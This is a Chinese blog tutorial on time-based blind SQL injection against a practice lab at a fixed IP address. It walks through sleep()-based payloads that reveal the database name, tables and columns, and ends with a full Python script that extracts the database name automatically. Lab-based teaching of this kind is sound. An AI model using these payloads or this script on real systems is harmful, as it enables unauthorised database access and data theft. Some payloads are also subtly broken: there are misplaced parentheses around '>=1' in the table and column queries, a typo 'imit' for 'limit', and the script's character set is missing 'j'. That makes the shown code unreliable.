盲注(时间型)的原理分析 下篇

目录

 

前言:

正文:

第一步 判断是否存在注入

第二步 判断数据库长度

第三步:查询数据库库名

第四步:查表名

第五步:查字段

python 写 盲注脚本:

文末:


前言:

什么是时间盲注,时间盲注就是页面不会有回显,没有回显怎么办?

这时候我们可以通过sleep(),让他沉睡

为什么通过sleep() 可以判断是否存在时间盲注,因为只要执行了,就说明网址存在交互,存在交互就存在漏洞

sql注入本质或者条件:

用户可以控制输入

拼接了用户输入的数据,并且去成功的执行了

 

正文:

 

第一步 判断是否存在注入

进入靶场,这时候我们看到了这查询语句被双引号包围了~~~

这时候不要慌,我们可以闭合掉这个双引号,然后再使用sleep(5) 来判断

http://59.63.200.79:8815/Pass-13/index.php?id=1" and sleep(5)--+

这时候我们看到了这个靶场一直在转圈圈,就说明这存在基于时间型的注入

 

第二步 判断数据库长度

使用  if() 函数

if(exp1,exp2,exp3)

如果exp1语句正确,那么就会执行exp2,如果不正确,就会执行exp3

所以我们第一个exp可以写:length(database())=12

exp2:  sleep(5)

exp3 :  1

这时候再代入if这里面

if(length(database())=12,sleep(5),1)

然后我们看上面那个靶场,查询语句。说明我们还需要闭合注释

于是就成功了,如下图

 

第三步:查询数据库库名

这里就运用到了substr和ascii

id=1" and if(ascii(substr(database(),1,1))>=50,sleep(5),1)--+

然后就成功的延迟了,获取到了第一个字符

我们可以用二分法,或者是把 >= 改为 =  

然后使用burp爆破也可以

基于时间型盲注比较繁琐,所以能工具,就工具!!!!!

 

第四步:查表名

把database() 替换成 查表的语句,可以先看一下长度是多少

别看着感觉好长,其实可以先写查询语句,然后再写substr函数,然后再写ascii,再写if

这样就不会被括号啥的弄晕了~~~~~

id=1" and if(ascii(substr((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) >=1,1,1)),sleep(5),1)--+

判断后再把length去掉,就是查询表的语句

id=1" and if(ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 0,1) >=1,1,1)),sleep(5),1)--+

我换行了一下,这样看的比较清楚


第五步:查字段

id=1" and if(ascii(substr((select column_name from information_schema.columns 
where table_schema=database() and table_name='XXXX'imit 0,1) >=1,1,1)),sleep(5),1)--+

查询字段里面的查询语句,跟前面的union注入一样的语句。只不过多加了几个函数

仔细看看就懂了

查询数据就不说了,跟前面的一样

 

python 写 盲注脚本:

时间型盲注的脚本和布尔型的盲注都一样。根据了i春秋上面的一个大佬的脚本

然后我修改了那么一点点。header头其实可要可不要。怕实战中会检测这些。所以那位前辈加了个header

也只是调用了requests和time模块

然后嵌套循环。没啥技术难度。就是估计头会晕

放在这,各位大佬初学python的。可以改一改,或者加个命令行参数的

import requests
import time

headers = {"user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''

global length
def get_db():
    for l in range(1, 20):
        lengthUrl = 'http://59.63.200.79:8815/Pass-13/index.php?id=1" and if(length(database())>{0},1,sleep(3))--+'
        lengthUrlFormat = lengthUrl.format(l)
        start_time0 = time.time()
        rsp0 = requests.get(lengthUrlFormat, headers=headers)
        if time.time() - start_time0 > 2.5:
            print('[-]database length:' + str(l))
            global length
            length = l
            break
        else:
            pass

    for i in range(1, length + 1):
        for char in chars:
            charAscii = ord(char)
            url = 'http://59.63.200.79:8815/Pass-13/index.php?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
            urlformat = url.format(i, charAscii)
            start_time = time.time()
            rsp = requests.get(urlformat, headers=headers)
            if time.time() - start_time > 2.5:
                global database
                database += char
                print('[+]database runing: '+ database + "...")
                break
            else:
                pass
    print('database:' + database)

if __name__=='__main__':
    start = time.time()
    get_db()
    end = time.time()
    t = int(end - start)
    print("The url test time: %ss"%t)

效果图

 

文末:

似乎没有什么想说的了

这样写目录比较好看,咳咳

其实推荐个学习方法。理解漏洞的原理,然后通过脚本方式去代替。因为脚本是代替人力的

所以写脚本的时候,对漏洞理解,或者查询语句的印象会更深

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章